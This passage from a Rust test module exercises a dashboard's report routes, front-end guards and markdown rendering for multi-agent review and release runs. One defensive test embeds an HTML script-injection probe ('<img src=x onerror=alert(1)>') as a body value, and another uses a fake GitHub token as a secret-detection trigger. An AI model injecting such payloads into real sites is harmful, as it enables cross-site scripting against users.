21261            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
21262            "e2e_deferred": true,
21263            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
21264                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
21265            ]}]
21266        }]);
21267        std::fs::write(&path, v.to_string()).unwrap();
21268        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
21269        std::fs::write(
21270            f.runs().join("20260902-140502-dead").join("run.json"),
21271            "{not json",
21272        )
21273        .unwrap();
21274
21275        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21276
21277        assert_eq!(res.status, 200, "{}", res.body);
21278        assert!(res.headers.contains("content-type: application/json"));
21279        let j = res.json();
21280        assert_eq!(j["schema"], 1);
21281        assert_eq!(j["header"]["id"], id);
21282        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
21283        let kinds: Vec<&str> = j["sections"]
21284            .as_array()
21285            .unwrap()
21286            .iter()
21287            .map(|s| s["kind"].as_str().unwrap())
21288            .collect();
21289        assert_eq!(kinds, ["candidates", "tally", "review"]);
21290        let tally = &j["sections"][1]["tally"];
21291        assert_eq!(
21292            (tally["decided"].clone(), tally["provisional"].clone()),
21293            (false.into(), true.into())
21294        );
21295        let round = &j["sections"][2]["rounds"][0];
21296        assert_eq!(round["e2e"]["state"], "deferred");
21297        assert_eq!(round["findings"][0]["severity"], "major");
21298        assert_eq!(round["findings"][0]["blocking"], true);
21299        assert_eq!(round["findings"][0]["state"], "open");
21300
21301        // The raw route keeps working beside it.
21302        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
21303
21304        // An unreadable run is an error, as on the text route, and is counted.
21305        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
21306        assert_ne!(bad.status, 200, "{}", bad.body);
21307        assert_eq!(
21308            bad.status,
21309            f.get("/api/runs/20260902-140502-dead/report").await.status
21310        );
21311        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
21312        assert_eq!(
21313            f.get("/api/runs/20260902-999999-ffff/report.json")
21314                .await
21315                .status,
21316            404
21317        );
21318    }
21319
21320    #[tokio::test]
21321    async fn sync_base_only_report_json_names_the_required_base_heads_and_verification() {
21322        crate::run::pin_test_home();
21323        let f = Fixture::start().await;
21324        let id = "20260902-140501-a1b2";
21325        write_run(&f.runs(), id, RunStatus::Blocked);
21326        let path = f.runs().join(id).join("run.json");
21327        let mut v: serde_json::Value =
21328            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21329        v["sync_only_passes"] = serde_json::json!([{
21330            "request": {"run": id, "at": "2026-09-02T14:05:01Z"},
21331            "pass_index": 0, "required_base": "origin/main", "tip": "base-sha",
21332            "head_before": "before-sha", "head_after": "after-sha",
21333            "result": "synchronized", "verification_allowed": false
21334        }]);
21335        std::fs::write(&path, v.to_string()).unwrap();
21336
21337        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21338        assert_eq!(res.status, 200, "{}", res.body);
21339        let json = res.json();
21340        let section = json["sections"]
21341            .as_array()
21342            .unwrap()
21343            .iter()
21344            .find(|s| s["key"] == "sync_only")
21345            .expect("base-only report section");
21346        let line = section["lines"][0].as_str().unwrap();
21347        assert!(line.contains("origin/main @ base-sha"), "{line}");
21348        assert!(line.contains("HEAD before-sha → after-sha"), "{line}");
21349        assert!(line.contains("verification was not allowed"), "{line}");
21350    }
21351
21352    #[tokio::test]
21353    async fn the_report_json_route_preserves_recovery_repair_release_and_final_review_facts() {
21354        crate::run::pin_test_home();
21355        let f = Fixture::start().await;
21356        let id = "20260902-140505-facts";
21357        write_run(&f.runs(), id, RunStatus::Stalled);
21358        let path = f.runs().join(id).join("run.json");
21359        let mut v: serde_json::Value =
21360            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21361        v["candidates"] = serde_json::json!([{
21362            "index": 0, "label": "A", "agent": "a", "branch": "a", "worktree": "/a",
21363            "empty": true, "folded": true, "summary": "Already covered.\nNo patch needed."
21364        }]);
21365        v["tally"] = serde_json::json!({
21366            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21367            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
21368            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
21369            "met_quorum": false, "rankings": 1
21370        });
21371        v["quota"] = serde_json::json!([
21372            {
21373                "seat": "judge-1", "node": "judge", "at": "2026-09-02T14:05:01Z",
21374                "agent": "signed-out", "cause": "authentication"
21375            },
21376            {"seat": "judge-2", "node": "judge", "at": "2026-09-02T14:05:01Z"}
21377        ]);
21378        v["startup"] = serde_json::json!({
21379            "kind": "review", "branch": "topic", "stage": "fetch", "complete": false,
21380            "failure": "fetch refused\ncredentials expired"
21381        });
21382        v["recovery"] = serde_json::json!({
21383            "from_run": "20260902-140501-a1b2", "generation": 1, "mode": "full-review",
21384            "reasons": ["head moved\nreview the new diff"], "criteria_inherited": true,
21385            "repair": {"started": {"before": "abcdef012345"}}
21386        });
21387        v["reviews"] = serde_json::json!([{
21388            "round": 1, "head": "abcdef012345", "answered": 1, "expected": 2,
21389            "verified_head": "fedcba9876543210", "verified_at": "2026-09-02T14:05:01Z",
21390            "vote_split": true, "verdict": "approve_with_findings",
21391            "e2e": [{
21392                "command": "cargo test", "code": 0, "duration_ms": 12, "output_tail": "ok"
21393            }],
21394            "reviews": [
21395                {"reviewer": 1, "agent": "reviewer", "vote": "reject",
21396                 "summary": "Initial **concern**.\n\nPlease inspect.",
21397                 "findings": [{"id": "R1-1-1", "severity": "minor", "title": "Check edge case"}]},
21398                {"reviewer": 2, "agent": "missing", "failed": "connection lost"}
21399            ],
21400            "reconsideration": [{
21401                "reviewer": 1, "agent": "reviewer", "vote": "approve_with_findings",
21402                "reason": "The blocker is resolved.\nOne minor issue remains."
21403            }]
21404        }]);
21405        v["merge_repairs"] = serde_json::json!([{
21406            "question": "question-42", "head": "abcdef012345",
21407            "pr": "https://example.test/pull/42", "reviews": v["reviews"].clone(),
21408            "gate": [], "phase": "Failed",
21409            "failure": "owner decision required\ninspect updated results"
21410        }]);
21411        v["bump_decision_attempts"] = serde_json::json!([
21412            {"agent": "first", "outcome": "unavailable"},
21413            {"agent": "second", "outcome": "patch\naccepted"}
21414        ]);
21415        v["release_bump"] = serde_json::json!({
21416            "version": "1.2.3", "local": true,
21417            "problem": "publish failed\nregistry refused",
21418            "release": {
21419                "version": "1.2.3", "commit": "fedcba9876543210", "tag_done": true, "done": 1,
21420                "failed": "registry refused\nawait owner approval",
21421                "log": [{
21422                    "name": "cargo publish", "code": 1,
21423                    "tail": "first output line\nsecond output line", "output": "/logs/publish.log"
21424                }]
21425            }
21426        });
21427        std::fs::write(&path, v.to_string()).unwrap();
21428
21429        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21430        assert_eq!(res.status, 200, "{}", res.body);
21431        let j = res.json();
21432        assert_eq!(j["schema"], 1);
21433        assert_eq!(j["header"]["tone"], "warn");
21434        assert_eq!(
21435            j["header"]["startup"],
21436            "review branch=topic stage=fetch complete=false"
21437        );
21438        assert_eq!(
21439            j["header"]["startup_failure"],
21440            "fetch refused\ncredentials expired"
21441        );
21442        assert_eq!(j["sections"][0]["items"][0]["state"], "no_change");
21443        assert_eq!(
21444            j["sections"][0]["items"][0]["detail"],
21445            "Already covered.\nNo patch needed."
21446        );
21447        assert_eq!(
21448            j["sections"][1]["tally"]["rate_limited"],
21449            serde_json::json!(["judge-1", "judge-2"])
21450        );
21451        let sections = j["sections"].as_array().unwrap();
21452        let labels: Vec<_> = sections
21453            .iter()
21454            .map(|section| {
21455                section["key"]
21456                    .as_str()
21457                    .or_else(|| section["kind"].as_str())
21458                    .unwrap()
21459            })
21460            .collect();
21461        assert_eq!(
21462            labels,
21463            [
21464                "candidates",
21465                "tally",
21466                "quota_details",
21467                "recovery",
21468                "review",
21469                "merge_repairs",
21470                "release_decision_attempts",
21471                "release_bump",
21472                "release_execution"
21473            ]
21474        );
21475        let note = |key: &str| {
21476            sections
21477                .iter()
21478                .find(|section| section["kind"] == "notes" && section["key"] == key)
21479                .unwrap()
21480        };
21481        let unavailable = note("quota_details");
21482        assert_eq!(unavailable["tone"], "warn");
21483        assert_eq!(
21484            unavailable["lines"],
21485            serde_json::json!([
21486                "judge-1 (signed-out: re-authenticate)",
21487                "judge-2 (usage limit)"
21488            ])
21489        );
21490        let recovery = note("recovery");
21491        assert_eq!(recovery["tone"], "warn");
21492        assert!(
21493            recovery["lines"][0]
21494                .as_str()
21495                .unwrap()
21496                .contains("head moved\nreview the new diff")
21497        );
21498        assert_eq!(
21499            recovery["lines"][1],
21500            "the task's own completion criteria were kept"
21501        );
21502        assert_eq!(recovery["lines"][2], "repair: unfinished");
21503        let review = sections
21504            .iter()
21505            .find(|section| section["kind"] == "review")
21506            .unwrap();
21507        assert_eq!(review["tone"], "warn", "missing input cannot look settled");
21508        let round = &review["rounds"][0];
21509        assert_eq!(round["verified_head"], "fedcba9");
21510        assert_eq!(round["verified_at"], "2026-09-02T14:05:01Z");
21511        assert_eq!(round["status"], "incomplete");
21512        assert_eq!(round["e2e"]["state"], "pass");
21513        assert_eq!(round["reviewers"][0]["vote"], "reject");
21514        assert_eq!(round["reviewers"][0]["final_vote"], "approve_with_findings");
21515        assert_eq!(
21516            round["reviewers"][0]["reason"],
21517            "Initial **concern**.\n\nPlease inspect."
21518        );
21519        assert!(
21520            !round["reviewers"][0]["reason_md"]
21521                .as_array()
21522                .unwrap()
21523                .is_empty()
21524        );
21525        assert!(round["reviewers"][1]["final_vote"].is_null());
21526        assert_eq!(round["reviewers"][1]["failed"], "connection lost");
21527        assert_eq!(
21528            round["reconsideration"][0]["reason"],
21529            "The blocker is resolved.\nOne minor issue remains."
21530        );
21531        assert!(
21532            !round["reconsideration"][0]["reason_md"]
21533                .as_array()
21534                .unwrap()
21535                .is_empty()
21536        );
21537        let repairs = note("merge_repairs");
21538        assert_eq!(repairs["tone"], "warn");
21539        assert_eq!(
21540            repairs["lines"][0],
21541            "question question-42  head abcdef012345  Failed\nhttps://example.test/pull/42"
21542        );
21543        assert_eq!(
21544            repairs["lines"][1],
21545            "held: owner decision required\ninspect updated results"
21546        );
21547        assert_eq!(
21548            repairs["lines"][2],
21549            "original [R1-1-1] Minor: Check edge case"
21550        );
21551        assert_eq!(
21552            repairs["lines"][3],
21553            "original reviewer #1: ApproveWithFindings"
21554        );
21555        assert_eq!(
21556            repairs["lines"][4],
21557            "Repair never approves a merge; updated results require a fresh owner decision."
21558        );
21559        let attempts = note("release_decision_attempts");
21560        assert_eq!(attempts["tone"], "neutral");
21561        assert_eq!(
21562            attempts["lines"],
21563            serde_json::json!(["1. first: unavailable", "2. second: patch\naccepted"])
21564        );
21565        let bump = sections
21566            .iter()
21567            .find(|section| section["kind"] == "release_bump")
21568            .unwrap();
21569        assert_eq!(bump["bump"]["automerge"], "local");
21570        assert_eq!(bump["bump"]["problem"], "publish failed\nregistry refused");
21571        assert_eq!(bump["tone"], "warn");
21572        let execution = note("release_execution");
21573        assert_eq!(execution["tone"], "warn");
21574        assert_eq!(
21575            execution["lines"][0],
21576            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21577        );
21578        assert_eq!(
21579            execution["lines"][1],
21580            "tag on remote: true; 1 command(s) completed"
21581        );
21582        assert_eq!(
21583            execution["lines"][2],
21584            "cargo publish (exit 1) output /logs/publish.log\nfirst output line\nsecond output line"
21585        );
21586
21587        // The original endpoint remains terminal text, including these same facts.
21588        let raw = f.get(&format!("/api/runs/{id}/report")).await;
21589        assert_eq!(raw.status, 200);
21590        assert!(
21591            raw.headers
21592                .contains("content-type: text/plain; charset=utf-8")
21593        );
21594        assert!(raw.body.contains("fetch refused\ncredentials expired"));
21595        assert!(raw.body.contains("Already covered."));
21596        assert!(raw.body.contains("judge-1 (signed-out: re-authenticate)"));
21597        assert!(raw.body.contains("judge-2 (usage limit)"));
21598        assert!(
21599            raw.body
21600                .contains("owner decision required\ninspect updated results")
21601        );
21602        assert!(raw.body.contains("2. second: patch\naccepted"));
21603        assert!(raw.body.contains(
21604            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21605        ));
21606
21607        // Historical records do not acquire invented startup or verification facts.
21608        let legacy_id = "20260902-140506-old";
21609        write_run(&f.runs(), legacy_id, RunStatus::Stalled);
21610        let legacy = f.get(&format!("/api/runs/{legacy_id}/report.json")).await;
21611        assert_eq!(legacy.status, 200, "{}", legacy.body);
21612        let legacy = legacy.json();
21613        assert!(legacy["header"]["startup"].is_null());
21614        assert!(legacy["header"]["startup_failure"].is_null());
21615        assert!(
21616            legacy["sections"]
21617                .as_array()
21618                .unwrap()
21619                .iter()
21620                .all(|section| section["kind"] != "notes")
21621        );
21622    }
21623
21624    #[tokio::test]
21625    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
21626        crate::run::pin_test_home();
21627        let f = Fixture::start().await;
21628        let id = "20260902-140503-delib";
21629        write_run(&f.runs(), id, RunStatus::Merged);
21630        let path = f.runs().join(id).join("run.json");
21631        let mut v: serde_json::Value =
21632            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21633        v["judgements"] = serde_json::json!([
21634            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21635        ]);
21636        v["tally"] = serde_json::json!({
21637            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21638            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
21639            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
21640            "met_quorum": true, "rankings": 1
21641        });
21642        v["deliberation"] = serde_json::json!([
21643            {
21644                "round": 1,
21645                "turns": [
21646                    {
21647                        "judge": 1,
21648                        "agent": "judge-1",
21649                        "body": "I prefer candidate **A** because it has cleaner tests.",
21650                        "tentative": "A"
21651                    }
21652                ]
21653            },
21654            {
21655                "round": 2,
21656                "turns": [
21657                    {
21658                        "judge": 1,
21659                        "agent": "judge-1",
21660                        "body": "Still thinking, no choice yet.",
21661                        "tentative": null
21662                    }
21663                ]
21664            }
21665        ]);
21666        std::fs::write(&path, v.to_string()).unwrap();
21667
21668        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21669        assert_eq!(res.status, 200, "{}", res.body);
21670        let j = res.json();
21671        let judging = j["sections"]
21672            .as_array()
21673            .unwrap()
21674            .iter()
21675            .find(|s| s["kind"] == "judging")
21676            .expect("judging section exists");
21677
21678        // Existing summary lines remain intact
21679        let delib_lines = judging["deliberation"].as_array().unwrap();
21680        assert_eq!(delib_lines.len(), 2);
21681        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
21682        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
21683
21684        // rounds carry turn bodies, tentative and parsed body_md
21685        let rounds = judging["rounds"].as_array().unwrap();
21686        assert_eq!(rounds.len(), 2);
21687        let r1_t0 = &rounds[0]["turns"][0];
21688        assert_eq!(r1_t0["judge"], 1);
21689        assert_eq!(r1_t0["agent"], "judge-1");
21690        assert_eq!(r1_t0["tentative"], "A");
21691        assert_eq!(
21692            r1_t0["body"],
21693            "I prefer candidate **A** because it has cleaner tests."
21694        );
21695        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
21696
21697        let r2_t0 = &rounds[1]["turns"][0];
21698        assert_eq!(r2_t0["judge"], 1);
21699        assert_eq!(r2_t0["agent"], "judge-1");
21700        assert!(r2_t0["tentative"].is_null());
21701        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
21702        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
21703
21704        // A run with empty deliberation array yields empty rounds
21705        let id_empty = "20260902-140504-nodelib";
21706        write_run(&f.runs(), id_empty, RunStatus::Merged);
21707        let path_empty = f.runs().join(id_empty).join("run.json");
21708        let mut v_empty: serde_json::Value =
21709            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
21710        v_empty["judgements"] = serde_json::json!([
21711            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21712        ]);
21713        v_empty["deliberation"] = serde_json::json!([]);
21714        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
21715
21716        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
21717        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
21718        let j_empty = res_empty.json();
21719        let judging_empty = j_empty["sections"]
21720            .as_array()
21721            .unwrap()
21722            .iter()
21723            .find(|s| s["kind"] == "judging")
21724            .expect("judging section exists");
21725        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
21726    }
21727
21728    #[tokio::test]
21729    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
21730        let f = Fixture::start().await;
21731
21732        let html = f.get("/").await;
21733        let css = f.get("/app.css").await;
21734        let js = f.get("/app.js").await;
21735
21736        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
21737        assert!(
21738            html.headers
21739                .contains("content-type: text/html; charset=utf-8")
21740        );
21741        assert!(css.headers.contains("content-type: text/css"));
21742        assert!(js.headers.contains("content-type: text/javascript"));
21743        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
21744    }
21745
21746    #[test]
21747    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
21748        let body = |name: &str| {
21749            let at = APP_JS
21750                .find(name)
21751                .unwrap_or_else(|| panic!("{name} missing"));
21752            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
21753        };
21754        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
21755        let note = body("function landRoundNote");
21756        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
21757        assert!(note.contains("Land round ${round}"));
21758        let land = body("function renderLand");
21759        let note_at = land
21760            .find("landRoundNote(pr)")
21761            .expect("renderLand uses the note");
21762        assert!(
21763            note_at
21764                < land
21765                    .find("roundRail(pr)")
21766                    .expect("renderLand uses the rail")
21767        );
21768    }
21769
21770    #[test]
21771    fn the_runs_page_redesign_keeps_its_guards() {
21772        let body = |name: &str| {
21773            let at = APP_JS
21774                .find(name)
21775                .unwrap_or_else(|| panic!("{name} missing"));
21776            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
21777        };
21778        // A null child must never reach the native append (it prints "null").
21779        let land = body("function renderLand");
21780        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
21781        assert!(
21782            !land.contains("box.append("),
21783            "renderLand must use append()"
21784        );
21785        assert!(land.contains("append(box, ["));
21786        // Tabs are hash routes; the run id alone decides a reload.
21787        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
21788        assert!(
21789            body("function applyRoute")
21790                .contains("route.name !== state.route.name || route.id !== state.route.id")
21791        );
21792        // The decorative diagram is gone, the strip and its guards stay.
21793        assert!(!APP_JS.contains("adviseConvergeDiagram"));
21794        assert!(!INDEX_HTML.contains("advise-converge"));
21795        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
21796        assert!(APP_JS.contains("provisional"));
21797        for id in [
21798            "run-tab-overview",
21799            "run-tab-timeline",
21800            "run-tab-report",
21801            "run-report",
21802            "runs-scope",
21803        ] {
21804            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
21805        }
21806        assert!(!INDEX_HTML.contains("runs-tree"));
21807        assert!(!INDEX_HTML.contains("run-raw-panel"));
21808        // Fold still says it cannot be resumed.
21809        assert!(APP_JS.contains("resume"));
21810        // The unreadable-runs count stays on the page.
21811        assert!(APP_JS.contains("unreadable"));
21812    }
21813
21814    #[test]
21815    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
21816        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
21817        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
21818        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
21819        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
21820        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
21821        // The subtitle still counts them whatever the banner does.
21822        assert!(APP_JS.contains("unreadable` : null"));
21823    }
21824
21825    #[test]
21826    fn blocked_run_detail_exposes_the_failed_gate_reason() {
21827        let mut state = RunState::new(
21828            "/repo".into(),
21829            "main".into(),
21830            "abc".into(),
21831            "task".into(),
21832            crate::config::Config::default(),
21833        );
21834        state.status = RunStatus::Blocked;
21835        state.gate_ran = true;
21836        state.gate.push(crate::run::CommandOutcome {
21837            command: "cargo make check".into(),
21838            code: Some(1),
21839            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
21840            duration_ms: 0,
21841            resource_blocked: false,
21842            ..Default::default()
21843        });
21844        let view = RunDetailView::of(
21845            state,
21846            false,
21847            crate::run::Liveness::Unknown,
21848            None,
21849            None,
21850            None,
21851        );
21852        let value = serde_json::to_value(view).unwrap();
21853        assert_eq!(
21854            value["stop_reason"],
21855            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
21856        );
21857    }
21858
21859    #[test]
21860    fn the_run_detail_payload_says_whether_the_run_is_done() {
21861        // `landView` reads `run.done`; the detail response must carry it.
21862        for (status, done) in [
21863            (RunStatus::Superseded, true),
21864            (RunStatus::Blocked, true),
21865            (RunStatus::Landing, false),
21866        ] {
21867            let mut state = RunState::new(
21868                std::path::PathBuf::from("/repo"),
21869                "main".to_owned(),
21870                "abc".to_owned(),
21871                "x".to_owned(),
21872                crate::config::Config::default(),
21873            );
21874            state.status = status;
21875            let v = serde_json::to_value(RunDetailView::of(
21876                state,
21877                false,
21878                crate::run::Liveness::Unknown,
21879                None,
21880                None,
21881                None,
21882            ))
21883            .unwrap();
21884            assert_eq!(v["done"], done, "{status:?}");
21885        }
21886    }
21887
21888    /// The first node of a markdown block holds a `strong` somewhere.
21889    fn has_strong(nodes: &[md::Node]) -> bool {
21890        serde_json::to_string(nodes).unwrap().contains("strong")
21891    }
21892
21893    #[test]
21894    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
21895        let mut state = RunState::new(
21896            std::path::PathBuf::from("/repo"),
21897            "main".to_owned(),
21898            "abc".to_owned(),
21899            "x".to_owned(),
21900            crate::config::Config::default(),
21901        );
21902        let proposal = |approach: &str| {
21903            serde_json::json!({
21904                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
21905            })
21906        };
21907        state.advice = Some(
21908            serde_json::from_value(serde_json::json!({
21909                "records": [
21910                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
21911                     "proposal": proposal("do **this**")},
21912                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
21913                ],
21914                "synthesis": "- one\n- **two**\n\n`code`",
21915            }))
21916            .unwrap(),
21917        );
21918        state.candidates = serde_json::from_value(serde_json::json!([
21919            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
21920             "summary": "did **it**"},
21921            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
21922        ]))
21923        .unwrap();
21924        // Recorded in ascending severity, the reverse of how the page sorts
21925        // them: the arrays must follow the record, not the display.
21926        state.reviews = serde_json::from_value(serde_json::json!([{
21927            "round": 1, "head": "h",
21928            "reviews": [{
21929                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
21930                "findings": [
21931                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
21932                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
21933                ],
21934            }],
21935            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
21936            "fix": {"agent": "a", "notes": "fixed **it**",
21937                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
21938        }, {"round": 2, "head": "h2", "reviews": []}]))
21939        .unwrap();
21940
21941        let v = serde_json::to_value(RunDetailView::of(
21942            state,
21943            false,
21944            crate::run::Liveness::Unknown,
21945            None,
21946            None,
21947            None,
21948        ))
21949        .unwrap();
21950
21951        let strong = |p: &str| {
21952            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
21953            assert!(n.to_string().contains("strong"), "{p}: {n}");
21954        };
21955        strong("/advice_md/synthesis");
21956        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
21957        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
21958        strong("/advice_md/approaches/0");
21959        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
21960        strong("/candidate_summaries_md/0");
21961        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
21962        strong("/reviews_md/0/reviewers/0/summary");
21963        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
21964        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
21965        assert!(f[1].to_string().contains("strong"));
21966        strong("/reviews_md/0/reconsideration/0");
21967        strong("/reviews_md/0/fix/notes");
21968        strong("/reviews_md/0/fix/rejected/0");
21969        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
21970        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
21971        // The raw strings stay, and no schema moved.
21972        assert_eq!(v["candidates"][0]["summary"], "did **it**");
21973        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
21974    }
21975
21976    #[test]
21977    fn a_run_without_advice_has_no_advice_md() {
21978        let state = RunState::new(
21979            std::path::PathBuf::from("/repo"),
21980            "main".to_owned(),
21981            "abc".to_owned(),
21982            "x".to_owned(),
21983            crate::config::Config::default(),
21984        );
21985        let p = run_prose_md(&state);
21986        assert!(p.advice_md.is_none());
21987        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
21988    }
21989
21990    #[test]
21991    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
21992        let store = ask::Questions::at(PathBuf::from("unused"));
21993        let gt = crate::github_text::Withheld {
21994            title: false,
21995            body: true,
21996            categories: vec!["sensitive-data".into()],
21997        };
21998        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
21999        let (detail, comparison) =
22000            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
22001        let mut q = Question::new(
22002            "r".into(),
22003            "github-text".into(),
22004            "posting-gate".into(),
22005            "s".into(),
22006            detail,
22007            Vec::new(),
22008        );
22009        assert!(
22010            QuestionView::of(q.clone(), &store, None)
22011                .posting_view
22012                .is_none()
22013        );
22014        q.posting_comparison = Some(comparison);
22015        let view = QuestionView::of(q.clone(), &store, None);
22016        let field = &view.posting_view.unwrap().fields[0];
22017        assert_eq!(
22018            field
22019                .original
22020                .iter()
22021                .map(|f| f.text.as_str())
22022                .collect::<String>(),
22023            body
22024        );
22025        assert!(field.original[0].text.starts_with("<img"));
22026        let original_question: Question =
22027            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
22028        assert_eq!(original_question, q);
22029        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
22030            .original
22031            .start = 1;
22032        assert!(
22033            QuestionView::of(q.clone(), &store, None)
22034                .posting_view
22035                .is_none()
22036        );
22037        q.posting_comparison = original_question.posting_comparison;
22038        q.detail.push_str("extra context");
22039        assert!(
22040            QuestionView::of(q.clone(), &store, None)
22041                .posting_view
22042                .is_some()
22043        );
22044        q.detail.insert(0, 'x');
22045        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
22046    }
22047
22048    #[test]
22049    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
22050        let store = ask::Questions::at(PathBuf::from("unused"));
22051        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
22052        let gt = crate::github_text::Withheld::from_check(
22053            &crate::github_text::check("fix: x", body),
22054            "fix: x",
22055            body,
22056        )
22057        .unwrap();
22058        let (detail, comparison) =
22059            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
22060        let mut q = Question::new(
22061            "r".into(),
22062            "github-text".into(),
22063            "posting-gate".into(),
22064            "s".into(),
22065            detail,
22066            Vec::new(),
22067        );
22068        q.posting_comparison = Some(comparison);
22069        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
22070        let field = &value["posting_view"]["fields"][0];
22071        let group = &field["replacement_group"];
22072        let triggers = group["triggers"].as_array().unwrap();
22073        assert_eq!(triggers.len(), 2);
22074        assert_ne!(triggers[0], triggers[1]);
22075        for id in triggers {
22076            assert!(
22077                field["original"]
22078                    .as_array()
22079                    .unwrap()
22080                    .iter()
22081                    .any(|f| &f["pair"] == id)
22082            );
22083            assert!(
22084                !field["changed"]
22085                    .as_array()
22086                    .unwrap()
22087                    .iter()
22088                    .any(|f| &f["pair"] == id)
22089            );
22090        }
22091        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
22092            group["id"].as_u64().unwrap() as usize;
22093        assert!(
22094            QuestionView::of(q, &store, None).posting_view.is_none(),
22095            "group and trigger IDs cannot collide"
22096        );
22097    }
22098
22099    #[test]
22100    fn a_question_view_carries_markdown_for_each_thread_turn() {
22101        let home = TempDir::new().unwrap();
22102        let store = ask::Questions::at(home.path().join("questions"));
22103        let mut q = Question::new(
22104            "run".to_owned(),
22105            "implement".to_owned(),
22106            "impl-A".to_owned(),
22107            "which?".to_owned(),
22108            String::new(),
22109            Vec::new(),
22110        );
22111        q.say("plain words").unwrap();
22112        q.reply("use **this**", Vec::new()).unwrap();
22113        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
22114        let bodies = &v["thread_bodies_md"];
22115        assert_eq!(bodies.as_array().unwrap().len(), 2);
22116        assert!(!bodies[0].to_string().contains("strong"));
